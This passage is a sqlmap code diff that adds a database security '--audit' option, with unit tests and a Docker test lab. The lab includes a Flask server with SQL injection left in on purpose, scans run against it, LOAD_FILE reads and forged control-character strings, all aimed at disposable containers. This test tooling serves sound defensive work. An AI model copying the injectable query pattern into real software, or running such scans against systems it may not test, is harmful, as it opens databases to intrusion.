kb.data.cachedLinks = [] + kb.data.cachedAudit = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -1217,6 +1218,18 @@ class Databases(object): return kb.data.cachedLinks + def getAudit(self): + from importlib import import_module + from lib.core.settings import DBMS_DIRECTORY_DICT + + dbms = Backend.getIdentifiedDbms() + if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE) or Backend.isFork(FORK.DUCKDB): + logger.warning("security configuration audit is not supported on %s" % dbms) + return [] + + module = import_module("plugins.dbms.%s.audit" % DBMS_DIRECTORY_DICT[dbms]) + return module.Audit().getAudit() + def getProcedures(self): infoMsg = "fetching stored procedures" logger.info(infoMsg) diff --git a/sqlmap.conf b/sqlmap.conf index 742a9d143..b844e8598 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -548,6 +548,10 @@ getStatements = False # Valid: True or False getLinks = False +# Audit database security configuration and current-session capabilities. +# Valid: True or False +getAudit = False + # Back-end database management system database to enumerate. db = diff --git a/tests/integration/audit/Dockerfile b/tests/integration/audit/Dockerfile new file mode 100644 index 000000000..7da8a3026 --- /dev/null +++ b/tests/integration/audit/Dockerfile @@ -0,0 +1,5 @@ +FROM python:3.12-slim +RUN pip install --no-cache-dir flask==3.1.3 pymysql==1.2.3 'psycopg[binary]==3.3.6' python-tds==1.17.1 oracledb==26.0.1 +WORKDIR /lab +COPY server.py db.py seed.py probe.py /lab/ +CMD ["python", "/lab/server.py"] diff --git a/tests/integration/audit/README.md b/tests/integration/audit/README.md new file mode 100644 index 000000000..28a2fba50 --- /dev/null +++ b/tests/integration/audit/README.md @@ -0,0 +1,42 @@ +# Disposable security audit matrix + +Run from the repository root on a local Docker host: + +```sh +python3 tests/integration/audit/run.py +``` + +Requires Python 3, Docker Compose, Internet access for images and roughly 12 GB +available memory. The SQL Server image requires an x86-64 host. Oracle image +support also depends on host architecture and page size. Application drivers are +installed only inside the fixture image; sqlmap gains no dependencies. + +The runner creates an isolated `sqlmap-audit-` Compose project. Database ports +are internal; deliberately injectable HTTP endpoints bind to random localhost +ports. Credentials are synthetic and fixed for these disposable databases. The +runner does not access the remote sqlmap testbed or existing database services. +It removes its own containers, networks and volumes on completion, including a +failed assertion. `--keep` retains them for investigation; remove the retained +project with `docker compose -p -f tests/integration/audit/compose.yml down --volumes`. + +The matrix covers MySQL 8, MariaDB 10.11, PostgreSQL 16, SQL Server 2022 and +Oracle Free 23, with administrator, application and restricted accounts. Two +additional MySQL instances exercise unrestricted and disabled file operations. +It compares native metadata results with real UNION SQLi for every account and +boolean blind SQLi for each engine's application account, using five threads. +Variable listings retain total counts and show at most 20 details. Additional +scenarios cover oversized listings, escaped control characters, confirmed empty +queries, RLS enforcement and command advice with and without stacked execution. +It also checks that audits leave configuration unchanged, that revoking grants +and changing settings changes the result, and that database root with FILE +privilege still cannot read a root-only fixture file. Filesystem probes and +configuration changes belong to the fixture provisioner; `--audit` performs +metadata reads only. + +Use `--native-only` for database queries and permission/configuration/filesystem +checks without the HTTP scans. Logs and native reference results go to a printed +temporary directory. For a previously seeded retained project: + +```sh +python3 tests/integration/audit/run.py --project sqlmap-audit- --reuse --keep +``` diff --git a/tests/integration/audit/compose.yml b/tests/integration/audit/compose.yml new file mode 100644 index 000000000..39ecf881c --- /dev/null +++ b/tests/integration/audit/compose.yml @@ -0,0 +1,82 @@ +services: + mysql: + image: mysql:8.0 + environment: + MYSQL_ROOT_PASSWORD: AuditOnly!2026 + MYSQL_ROOT_HOST: '%' + MYSQL_DATABASE: auditlab + command: ['--secure-file-priv=/var/lib/mysql-files', '--local-infile=OFF'] + mem_limit: 1g + mariadb: + image: mariadb:10.11 + environment: + MARIADB_ROOT_PASSWORD: AuditOnly!2026 + MARIADB_ROOT_HOST: '%' + MARIADB_DATABASE: auditlab + command: ['--secure-file-priv=', '--local-infile=ON'] + mem_limit: 1g + postgres: + image: postgres:16-alpine + environment: + POSTGRES_PASSWORD: AuditOnly!2026 + POSTGRES_DB: auditlab + mem_limit: 1g + mssql: + image: mcr.microsoft.com/mssql/server:2022-latest + environment: + ACCEPT_EULA: Y + MSSQL_PID: Developer + MSSQL_SA_PASSWORD: AuditOnly!2026 + mem_limit: 2g + oracle: + image: gvenzl/oracle-free:23.26.0-slim-faststart + environment: + ORACLE_PASSWORD: AuditOnly!2026 + APP_USER: audit_owner + APP_USER_PASSWORD: AuditOnly!2026 + mem_limit: 4g + web-mysql: + build: . + image: sqlmap-audit-fixture:local + environment: {ENGINE: mysql} + ports: ['127.0.0.1::8080'] + web-mariadb: + image: sqlmap-audit-fixture:local + environment: {ENGINE: mariadb} + ports: ['127.0.0.1::8080'] + web-postgres: + image: sqlmap-audit-fixture:local + environment: {ENGINE: postgres} + ports: ['127.0.0.1::8080'] + web-mssql: + image: sqlmap-audit-fixture:local + environment: {ENGINE: mssql} + ports: ['127.0.0.1::8080'] + web-oracle: + image: sqlmap-audit-fixture:local + environment: {ENGINE: oracle} + ports: ['127.0.0.1::8080'] + mysql-open: + image: mysql:8.0 + environment: + MYSQL_ROOT_PASSWORD: AuditOnly!2026 + MYSQL_ROOT_HOST: '%' + MYSQL_DATABASE: auditlab + command: ['--secure-file-priv=', '--local-infile=ON'] + mem_limit: 1g + mysql-disabled: + image: mysql:8.0 + environment: + MYSQL_ROOT_PASSWORD: AuditOnly!2026 + MYSQL_ROOT_HOST: '%' + MYSQL_DATABASE: auditlab + command: ['--secure-file-priv=NULL', '--local-infile=OFF'] + mem_limit: 1g + web-mysql-open: + image: sqlmap-audit-fixture:local + environment: {ENGINE: mysql, DB_HOST: mysql-open} + ports: ['127.0.0.1::8080'] + web-mysql-disabled: + image: sqlmap-audit-fixture:local + environment: {ENGINE: mysql, DB_HOST: mysql-disabled} + ports: ['127.0.0.1::8080'] diff --git a/tests/integration/audit/db.py b/tests/integration/audit/db.py new file mode 100644 index 000000000..b524ab830 --- /dev/null +++ b/tests/integration/audit/db.py @@ -0,0 +1,27 @@ +import os +import threading + +engine = os.environ['ENGINE'] +password = 'AuditOnly!2026' +host = os.environ.get('DB_HOST', engine) +pools = {} +poolLock = threading.Lock() + + +def connect(account, pooled=False): + if engine in ('mysql', 'mariadb'): + import pymysql + return pymysql.connect(host=host, user=account, password=password, database='auditlab', autocommit=True) + if engine == 'postgres': + import psycopg + return psycopg.connect(host=host, user=account, password=password, dbname='auditlab', autocommit=True) + if engine == 'mssql': + import pytds + return pytds.connect(host, user=account, password=password, database='master', autocommit=True) + import oracledb + if pooled: + with poolLock: + if account not in pools: + pools[account] = oracledb.create_pool(user=account, password=password, dsn=host+'/FREEPDB1', min=1, max=10, increment=1) + return pools[account].acquire() + return oracledb.connect(user=account, password=password, dsn=host+'/FREEPDB1', mode=oracledb.AUTH_MODE_SYSDBA if account == 'sys' else oracledb.AUTH_MODE_DEFAULT) diff --git a/tests/integration/audit/probe.py b/tests/integration/audit/probe.py new file mode 100644 index 000000000..005cf808d --- /dev/null +++ b/tests/integration/audit/probe.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python +"""Execute fixture SQL over a real DB-API connection for ground-truth checks.""" +import json +import sys +from db import connect +conn = connect(sys.argv[1]) +try: + cursor = conn.cursor() + cursor.execute(sys.stdin.read()) + print(json.dumps(cursor.fetchall() if cursor.description else [], default=str)) +finally: + conn.close() diff --git a/tests/integration/audit/run.py b/tests/integration/audit/run.py new file mode 100644 index 000000000..eb91133b1 --- /dev/null +++ b/tests/integration/audit/run.py @@ -0,0 +1,266 @@ +#!/usr/bin/env python3 +"""Opt-in Docker audit matrix. Runtime sqlmap itself acquires metadata only. + +This fixture provisioner deliberately changes settings, grants and synthetic files inside +its own disposable containers, then verifies the audit over native SQL and real SQLi. +""" +import argparse +import concurrent.futures +import json +import os +from pathlib import Path +import re +import subprocess +import sys +import tempfile + +ROOT = Path(__file__).resolve().parents[3] +LAB = Path(__file__).resolve().parent +sys.path.insert(0, str(ROOT)) +sys.path.insert(0, str(ROOT / 'tests')) +from _testutils import bootstrap, set_dbms +bootstrap() +from lib.core.enums import DBMS, FORK, EXPECTED +from lib.core.common import Backend, getSQLSnippet, unArrayizeValue +from lib.core.data import conf +from lib.core.settings import AUDIT_MAX_ROWS +from lib.request import inject +from plugins.generic.databases import Databases + +ENGINES = {'mysql': (DBMS.MYSQL, 'root'), 'mariadb': (DBMS.MYSQL, 'root'), + 'postgres': (DBMS.PGSQL, 'postgres'), 'mssql': (DBMS.MSSQL, 'sa'), + 'oracle': (DBMS.ORACLE, 'audit_owner'), + 'mysql-open': (DBMS.MYSQL, 'root'), 'mysql-disabled': (DBMS.MYSQL, 'root')} + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--project', default='sqlmap-audit-%d' % os.getpid()) + parser.add_argument('--reuse', action='store_true', help='Use an already seeded audit project') + parser.add_argument('--keep', action='store_true', help='Keep this disposable project for debugging') + parser.add_argument('--native-only', action='store_true', help='Skip the HTTP SQLi matrix') + args = parser.parse_args() + if not re.match(r'^sqlmap-audit-[a-z0-9-]+$', args.project): + parser.error('project must have the sqlmap-audit- prefix') + compose = ['docker', 'compose', '-p', args.project, '-f', str(LAB / 'compose.yml')] + logs = Path(tempfile.mkdtemp(prefix='sqlmap-audit-matrix-')) + print('Logs: %s' % logs, flush=True) + + def command(argv, data=None, check=True, timeout=240): + result = subprocess.run(argv, input=data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + text=True, timeout=timeout) + if check and result.returncode: + raise AssertionError('%s\n%s\n%s' % (' '.join(argv), result.stdout, result.stderr)) + return result + + def sql(engine, account, query, check=True): + result = command(compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/probe.py', account], query, check) + return json.loads(result.stdout) if result.returncode == 0 else None + + def native(engine, account, statement=False): + dbms = ENGINES[engine][0] + set_dbms(dbms) + # MariaDB is a MySQL plugin fork; native probes don't run the normal fingerprint. + original_fork = Backend.isFork + Backend.isFork = staticmethod(lambda fork: engine == 'mariadb' and fork == FORK.MARIADB) + original_direct = conf.direct + conf.direct = statement + original = inject.getValue + calls = [] + def getValue(query, **kwargs): + assert query.startswith('SELECT ') + calls.append(query) + rows = sql(engine, account, query, check=False) + return unArrayizeValue(rows) if kwargs.get("expected") == EXPECTED.INT else rows + inject.getValue = getValue + try: + result = Databases().getAudit() + assert calls + assert not any(line.startswith('OS boundary:') for line in result) + return sorted(set(result)) + finally: + conf.direct = original_direct + inject.getValue = original + Backend.isFork = staticmethod(original_fork) + + def scan(engine, account, technique, expected): + address = command(compose + ['port', 'web-' + engine, '8080']).stdout.strip() + url = 'http://%s/%s/get_int?id=1' % (address, account) + label = '%s-%s-%s' % (engine, account, technique) + cmd = [sys.executable, str(ROOT / 'sqlmap.py'), '-u', url, + '--dbms=' + ENGINES[engine][0], '--batch', '--technique=' + technique, + '--threads=5', '--audit', '--skip-waf', '--disable-precon', '--flush-session', + '--output-dir=' + str(logs / label)] + result = command(cmd, check=False, timeout=900) + (logs / (label + '.log')).write_text(result.stdout + result.stderr) + assert result.returncode == 0, label + audit_output = re.search(r'^database security audit[^\n]*\n((?:\[\*\] [^\n]*\n)+)', result.stdout, re.M) + assert audit_output, label + actual = sorted(set(re.findall(r'^\[\*\] (.*)$', audit_output.group(1), re.M))) + assert actual == expected, '%s: missing=%r extra=%r' % (label, sorted(set(expected)-set(actual)), sorted(set(actual)-set(expected))) + print('SQLi %s PASS' % label, flush=True) + + try: + if not args.reuse: + command(compose + ['build', 'web-mysql']) + command(compose + ['up', '-d']) + with concurrent.futures.ThreadPoolExecutor(max_workers=7) as pool: + futures = [pool.submit(command, compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/seed.py']) for engine in ENGINES] + for future in futures: + future.result() + expected = {} + for engine, (dbms, admin) in ENGINES.items(): + for alias, account in (('admin', admin), ('app', 'audit_app'), ('limited', 'audit_limited')): + snapshot_query = getSQLSnippet(dbms, 'audit_configuration_mariadb' if engine == 'mariadb' else 'audit_configuration', LIMIT=str(AUDIT_MAX_ROWS)) + before = sql(engine, admin, snapshot_query) if alias == 'admin' else None + result = native(engine, account) + if alias == 'admin': + assert sql(engine, admin, snapshot_query) == before, 'audit changed configuration' + expected[engine, alias] = result + (logs / ('%s-%s-native.json' % (engine, alias))).write_text(json.dumps(result, indent=2)) + assert any('/ effective account:' in line or '/ effective login:' in line for line in result) + if alias == 'admin': + assert not any(re.match(r'^(identity|configuration|privileges|file access): retrieval failed', line) for line in result), (engine,result) + if engine == 'postgres' and alias == 'app': + assert 'privileges / pg_read_server_files: yes' in result + assert 'privileges / pg_execute_server_program: no' in result + if engine == 'mssql' and alias == 'limited': + assert 'configuration: SELECT permission missing on master.sys.configurations' in result + assert 'linked servers: SELECT permission missing on master.sys.servers' in result + if engine == 'oracle' and alias == 'app': + assert any('AUDIT_FILES [READ]' in line for line in result) + if engine == 'oracle' and alias == 'limited': + assert 'directory grants / visible directory grants: 0' in result + assert any(line.startswith('configuration: retrieval failed') for line in result) + print('Native %s/%s PASS' % (engine,alias), flush=True) + + # Database root with FILE still cannot read files denied to the service OS user. + for engine in ('mysql', 'mariadb', 'mysql-open', 'mysql-disabled'): + container = command(compose + ['ps', '-q', engine]).stdout.strip() + command(['docker','exec','-u','0',container,'sh','-c', + 'mkdir -p /var/lib/mysql-files; printf AUDIT_READABLE > /var/lib/mysql-files/readable.txt; ' + 'printf AUDIT_PRIVATE > /var/lib/mysql-files/root-only.txt; ' + 'printf AUDIT_OUTSIDE > /tmp/audit-outside.txt; ' + 'chmod 644 /var/lib/mysql-files/readable.txt /tmp/audit-outside.txt; ' + 'chmod 600 /var/lib/mysql-files/root-only.txt']) + readable = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/readable.txt')")[0][0] + private = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/root-only.txt')")[0][0] + outside = sql(engine, 'root', "SELECT LOAD_FILE('/tmp/audit-outside.txt')")[0][0] + assert private is None + assert command(['docker','exec','-u','mysql',container,'test','-r','/var/lib/mysql-files/root-only.txt'],check=False).returncode != 0 + if engine == 'mysql-disabled': + assert readable is None and outside is None + assert any(line in expected[engine,'admin'] for line in ('file access / secure_file_priv: ', 'file access / secure_file_priv: NULL')) + assert any('secure_file_priv=NULL blocks' in line for line in expected[engine,'admin']) + elif engine == 'mysql': + assert readable is not None and outside is None + else: + assert readable is not None and outside is not None + assert ('file access / secure_file_priv: ' if engine == 'mariadb' else 'file access / secure_file_priv: ') in expected[engine,'admin'] + assert any('no directory restriction' in line for line in expected[engine,'admin']) + assert not any('OS boundary:' in line for line in expected[engine,'admin']) + print('Filesystem boundary %s PASS' % engine, flush=True) + + # Changes are made by this fixture provisioner, never by --audit. + sql('postgres','postgres','REVOKE pg_read_server_files FROM audit_app') + changed = native('postgres','audit_app') + assert 'privileges / pg_read_server_files: no' in changed + sql('postgres','postgres','GRANT pg_read_server_files TO audit_app') + sql('mssql','sa',"EXEC sp_configure 'clr enabled',0; RECONFIGURE") + assert 'configuration / clr enabled: disabled' in native('mssql','audit_app') + sql('mssql','sa',"EXEC sp_configure 'clr enabled',1; RECONFIGURE") + sql('oracle','sys','REVOKE SELECT ON sys.v_$parameter FROM audit_app') + assert any(line.startswith('configuration: retrieval failed') for line in native('oracle','audit_app')) + sql('oracle','sys','GRANT SELECT ON sys.v_$parameter TO audit_app') + print('Grant/configuration changes reflected by audit PASS', flush=True) + + # A successful zero-row SELECT must not be reported as a failed query. + from plugins.generic import audit as auditModule + original_snippet = auditModule.getSQLSnippet + auditModule.getSQLSnippet = lambda *args, **kwargs: "SELECT audit_key,audit_value FROM (SELECT 'empty' AS audit_key,'Vempty' AS audit_value) audit_rows WHERE 1=0" + try: + assert native('mysql','root') == ['configuration: no entries', 'file access: no entries', 'identity: no entries', 'privileges: no entries'] + finally: + auditModule.getSQLSnippet = original_snippet + print('Confirmed empty metadata query PASS', flush=True) + + # Independent semantics: row_security=off must fail, not bypass a policy. + sql('postgres','postgres', 'CREATE TABLE audit_rls (id INT)') + sql('postgres','postgres', 'INSERT INTO audit_rls VALUES (1),(2)') + sql('postgres','postgres', 'GRANT SELECT ON audit_rls TO audit_app') + sql('postgres','postgres', 'ALTER TABLE audit_rls ENABLE ROW LEVEL SECURITY') + sql('postgres','postgres', 'CREATE POLICY audit_policy ON audit_rls USING (id=1)') + assert sql('postgres','audit_app','SELECT * FROM audit_rls',check=False) is None + assert not any('bypasses row-level security' in line for line in native('postgres','audit_app')) + sql('postgres','postgres','ALTER ROLE audit_app BYPASSRLS') + assert sql('postgres','audit_app','SELECT COUNT(*) FROM audit_rls')[0][0] == 2 + assert any('bypasses row-level security' in line for line in native('postgres','audit_app')) + sql('postgres','postgres','ALTER ROLE audit_app NOBYPASSRLS') + sql('postgres','postgres','DROP TABLE audit_rls') + + sql('postgres','postgres','GRANT pg_execute_server_program TO audit_app') + no_route = native('postgres','audit_app') + assert any('COPY FROM PROGRAM privilege granted; no statement execution route identified' in line for line in no_route) + assert not any('--os-cmd' in line for line in no_route) + with_route = native('postgres','audit_app', statement=True) + assert any('COPY FROM PROGRAM privilege granted; use --os-cmd' in line for line in with_route) + if not args.native_only: + scan('postgres','app','U',no_route) + scan('postgres','app','BS',with_route) + sql('postgres','postgres','REVOKE pg_execute_server_program FROM audit_app') + print('Independent RLS and execution-route scenarios PASS', flush=True) + + # The fixture creates real metadata beyond the limit and verifies exact totals. + for index in range(AUDIT_MAX_ROWS + 5): + sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'audit_bound_%02d',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'bound.invalid'" % index) + hostile = "audit_control\n[*] forged\r\x1b[2J" + sql('mssql','sa', "EXEC sp_addlinkedserver @server=N'%s',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'control.invalid'" % hostile) + bounded = native('mssql','sa') + assert 'linked servers / visible linked servers: 27' in bounded + assert sum(line.startswith('linked servers / link ') for line in bounded) == AUDIT_MAX_ROWS + assert 'Linked servers: showing 20 of 27; use --links for the full list' in bounded + # The control-character name sorts outside the first details by server_id; test it separately below. + if not args.native_only: + scan('mssql','admin','U',bounded) + for index in range(AUDIT_MAX_ROWS + 5): + sql('mssql','sa', "EXEC sp_dropserver @server=N'audit_bound_%02d',@droplogins='droplogins'" % index) + hostile_result = native('mssql','sa') + assert any('audit_control\\n[*] forged\\r\\x1b[2J' in line for line in hostile_result) + assert not any('\n' in line or '\r' in line or '\x1b' in line for line in hostile_result) + if not args.native_only: + scan('mssql','admin','U',hostile_result) + sql('mssql','sa', "EXEC sp_dropserver @server=N'%s',@droplogins='droplogins'" % hostile) + + for index in range(AUDIT_MAX_ROWS + 5): + path = "/tmp/audit-bound-%02d" % index if index else "/tmp/audit\n[*] forged\x1b[2J" + sql('oracle','sys', "CREATE DIRECTORY AUDIT_BOUND_%02d AS '%s'" % (index,path)) + sql('oracle','sys', 'GRANT READ ON DIRECTORY AUDIT_BOUND_%02d TO audit_owner' % index) + bounded = native('oracle','audit_owner') + assert sum(line.startswith('directory grants / ') and '/ visible directory grants:' not in line for line in bounded) == AUDIT_MAX_ROWS + assert any(line.startswith('Directory grants: showing 20 of ') for line in bounded) + assert any('audit\\n[*] forged\\x1b[2J' in line for line in bounded) + if not args.native_only: + scan('oracle','admin','U',bounded) + for index in range(AUDIT_MAX_ROWS + 5): + sql('oracle','sys','DROP DIRECTORY AUDIT_BOUND_%02d' % index) + print('Bounded listings and control-character scenarios PASS', flush=True) + + if not args.native_only: + jobs = [] + for engine in ENGINES: + for alias in ('admin','app','limited'): + jobs.append((engine,alias,'U')) + if engine not in ('mysql-open','mysql-disabled'): + jobs.append((engine,'app','B')) + with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool: + futures = [pool.submit(scan,engine,alias,technique,expected[engine,alias]) for engine,alias,technique in jobs] + for future in futures: + future.result() + print('Audit matrix PASS; logs: %s' % logs, flush=True) + finally: + if not args.keep: + command(compose + ['down','--volumes','--remove-orphans']) + + +if __name__ == '__main__': + main() diff --git a/tests/integration/audit/seed.py b/tests/integration/audit/seed.py new file mode 100644 index 000000000..deaa726cc --- /dev/null +++ b/tests/integration/audit/seed.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +"""Create test accounts and known grants only in the disposable audit databases.""" +import time +from db import connect, engine + +admin = {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'sys'}[engine] +for attempt in range(120): + try: + conn = connect(admin) + break + except Exception: + if attempt == 119: + raise + time.sleep(1) +cursor = conn.cursor() + + +def execute(sql): + cursor.execute(sql) + + +if engine in ('mysql', 'mariadb'): + execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))') + for user in ('audit_app', 'audit_limited'): + execute("CREATE USER '%s'@'%%' IDENTIFIED BY 'AuditOnly!2026'" % user) + execute("GRANT SELECT ON auditlab.* TO '%s'@'%%'" % user) + execute("GRANT SELECT ON performance_schema.* TO 'audit_app'@'%'") + execute("GRANT FILE ON *.* TO 'audit_app'@'%'") +elif engine == 'postgres': + execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))') + for user in ('audit_app', 'audit_limited'): + execute("CREATE USER %s WITH PASSWORD 'AuditOnly!2026'" % user) + execute('GRANT SELECT ON users TO %s' % user) + execute('GRANT pg_read_server_files TO audit_app') + execute('GRANT pg_write_server_files TO audit_app') + execute("ALTER ROLE audit_app SET row_security=off") +elif engine == 'mssql': + execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))') + for user in ('audit_app', 'audit_limited'): + execute("CREATE LOGIN %s WITH PASSWORD='AuditOnly!2026',CHECK_POLICY=OFF" % user) + execute('CREATE USER %s FOR LOGIN %s' % (user,user)) + execute('GRANT SELECT ON users TO %s' % user) + execute('DENY SELECT ON OBJECT::sys.configurations TO audit_limited') + execute('DENY SELECT ON OBJECT::sys.servers TO audit_limited') + execute("EXEC sp_configure 'show advanced options',1") + execute('RECONFIGURE') + execute("EXEC sp_configure 'clr enabled',1") + execute('RECONFIGURE') + execute("EXEC sp_addlinkedserver @server=N'audit_reporting',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'reporting.invalid'") + execute("EXEC sp_serveroption @server=N'audit_reporting',@optname=N'rpc out',@optvalue=N'true'") +else: + execute('GRANT DBA TO audit_owner') + for user in ('audit_app', 'audit_limited'): + execute('CREATE USER %s IDENTIFIED BY "AuditOnly!2026"' % user) + execute('GRANT CREATE SESSION TO %s' % user) + execute('CREATE TABLE audit_owner.users (id NUMBER PRIMARY KEY,name VARCHAR2(100),surname VARCHAR2(100))') + for user in ('audit_app', 'audit_limited'): + execute('GRANT SELECT ON audit_owner.users TO %s' % user) + execute('CREATE SYNONYM %s.users FOR audit_owner.users' % user) + execute('CREATE SYNONYM system.users FOR audit_owner.users') + execute('GRANT SELECT ON sys.v_$parameter TO audit_app') + execute("CREATE DIRECTORY AUDIT_FILES AS '/tmp/audit-files'") + execute('GRANT READ ON DIRECTORY AUDIT_FILES TO audit_app') + execute('CREATE SYNONYM audit_owner.audit_fixture_users FOR audit_owner.users') + # Insert into the application schema; the SYS/SYSTEM account is only the fixture provisioner. + execute("INSERT INTO audit_owner.users VALUES (1,'luther','blisset')") + execute("INSERT INTO audit_owner.users VALUES (2,'fluffy','bunny')") + conn.commit() +if engine != 'oracle': + execute("INSERT INTO users VALUES (1,'luther','blisset')") + execute("INSERT INTO users VALUES (2,'fluffy','bunny')") +conn.close() +print('%s fixture seeded' % engine) diff --git a/tests/integration/audit/server.py b/tests/integration/audit/server.py new file mode 100644 index 000000000..90e60be89 --- /dev/null +++ b/tests/integration/audit/server.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +"""Deliberately injectable HTTP fixture. Run only on the isolated audit lab network.""" +import html +from flask import Flask, request +from db import connect, engine + +app = Flask(__name__) + +@app.get('//get_int') +def query(account): + accounts = {'admin': {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'audit_owner'}, + 'app': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_app'), + 'limited': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_limited')} + if account not in accounts: + return 'unknown account', 404 + conn = None + try: + conn = connect(accounts[account][engine], pooled=True) + cursor = conn.cursor() + cursor.execute('SELECT id,name,surname FROM users WHERE id=%s' % request.args.get('id', '1')) + rows = cursor.fetchall() + body = '' + for row in rows: + body += '' + ''.join('' % html.escape('' if value is None else str(value)) for value in row) + '' + return body + '
%s
' + except Exception as ex: + # Render the driver's message, not Python's repr of its argument tuple. + message = next((value for value in ex.args if isinstance(value, str)), str(ex)) + return '%s' % html.escape(message) + finally: + if conn is not None: + conn.close() + + +app.run(host='0.0.0.0', port=8080, threaded=True) diff --git a/tests/test_audit.py b/tests/test_audit.py new file mode 100644 index 000000000..b78b1b891 --- /dev/null +++ b/tests/test_audit.py @@ -0,0 +1,244 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Audit acquisition preserves NULL/empty/unknown states and interpretation boundaries. +Real DBMS/SQLi coverage is opt-in under tests/integration/audit/. +""" + +import importlib +import os +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import getSQLSnippet +from lib.core.data import conf, kb, paths, queries +from lib.core.enums import DBMS, FORK, EXPECTED, PAYLOAD +from lib.core.settings import DBMS_DIRECTORY_DICT +from lib.request import inject +from plugins.generic.audit import Audit +from plugins.generic.databases import Databases + +tearDownModule = reset_dbms + + +class TestAudit(unittest.TestCase): + def setUp(self): + self._saved = dict(conf) + self._cache = kb.data.get('cachedAudit') + self._getValue = inject.getValue + self._forced = kb.get('forcedDbms') + self._injection = kb.injection.data + self._gadget = kb.get("gadget") + kb.injection.data = {} + kb.gadget = None + conf.direct = False + kb.data.cachedAudit = [] + set_dbms(DBMS.MYSQL) + + def tearDown(self): + kb.injection.data = self._injection + kb.gadget = self._gadget + inject.getValue = self._getValue + kb.data.cachedAudit = self._cache + kb.forcedDbms = self._forced + conf.clear() + conf.update(self._saved) + + def test_preserves_null_empty_and_marker_like_values(self): + inject.getValue = lambda *a, **k: [['null', 'N'], ['empty', 'V'], ['text', 'VNULL'], ['prefix', 'VVvalue'], ['padded ', 'Vkeep '], ['trailing\n', 'Vvalue']] + audit = Audit() + audit.dbms = DBMS.MYSQL + self.assertEqual(audit._auditFetch('audit_identity'), {'null': None, 'empty': '', 'text': 'NULL', 'prefix': 'Vvalue', 'padded': 'keep ', 'trailing\n': 'value'}) + + def test_single_row_and_failed_results(self): + audit = Audit() + audit.dbms = DBMS.MYSQL + for value, expected in ((['name', 'Vvalue'], {'name': 'value'}), (None, None), ([], None), (['truncated'], None), ([['key', 'invalid']], None)): + inject.getValue = lambda *a, **k: value + self.assertEqual(audit._auditFetch('audit_identity'), expected) + + def test_major_dbmses_dispatch_without_xml_audit_blocks(self): + inject.getValue = lambda *a, **k: [['effective account', 'Vtest']] + for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE): + set_dbms(dbms) + d = Databases() + self.assertNotIn('audit', queries[dbms]) + result = d.getAudit() + self.assertTrue(any('test' in item for item in result)) + self.assertFalse(any('OS boundary:' in item for item in result)) + + def test_unsupported_dbmses_do_not_query(self): + inject.getValue = lambda *a, **k: self.fail('unsupported DBMS must not query') + for dbms in queries: + if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE): + set_dbms(dbms) + self.assertEqual(Databases().getAudit(), []) + + def test_failures_are_not_reported_as_disabled(self): + inject.getValue = lambda *a, **k: None + for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE): + set_dbms(dbms) + result = Databases().getAudit() + self.assertTrue(any('retrieval failed' in item for item in result)) + self.assertFalse(any(item.endswith(': disabled') for item in result)) + + def test_cache_and_bulk_queries_use_existing_extraction(self): + calls = [] + def getValue(query, **kwargs): + self.assertTrue(kwargs.get('fromUser')) + self.assertTrue(kwargs.get('batch')) + self.assertNotIn('\n', query) + self.assertNotIn('\r', query) + calls.append(query) + return [['effective account', 'Vtest']] + inject.getValue = getValue + d = Databases() + result = d.getAudit() + count = len(calls) + self.assertEqual(count, 4) + self.assertEqual(d.getAudit(), result) + self.assertEqual(len(calls), count) + + def test_mysql_directory_null_and_empty_are_different(self): + from plugins.dbms.mysql.audit import Audit as MySQLAudit + audit = MySQLAudit() + cases = ((None, 'blocks'), ('NULL', 'blocks'), ('', 'no directory restriction'), ('/var/lib/mysql-files/', 'must be inside')) + for value, expected in cases: + result = audit.explain({'file access': {'secure_file_priv': value}}) + self.assertTrue(any(expected in item for item in result)) + self.assertFalse(any('must be inside' in item for item in audit.explain({}))) + + def test_mariadb_selects_fork_specific_configuration(self): + from lib.core.common import Backend + from plugins.dbms.mysql.audit import Audit as MySQLAudit + original = Backend.isFork + Backend.isFork = staticmethod(lambda fork: fork == FORK.MARIADB) + try: + self.assertEqual(MySQLAudit().queries[1][1][0], 'audit_configuration_mariadb') + self.assertFalse(any('blocks' in item for item in MySQLAudit().explain({'file access': {'secure_file_priv': None}}))) + finally: + Backend.isFork = staticmethod(original) + + def test_mssql_explicit_permission_denial(self): + from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit + audit = MSSQLAudit() + groups = {'permissions': {'read 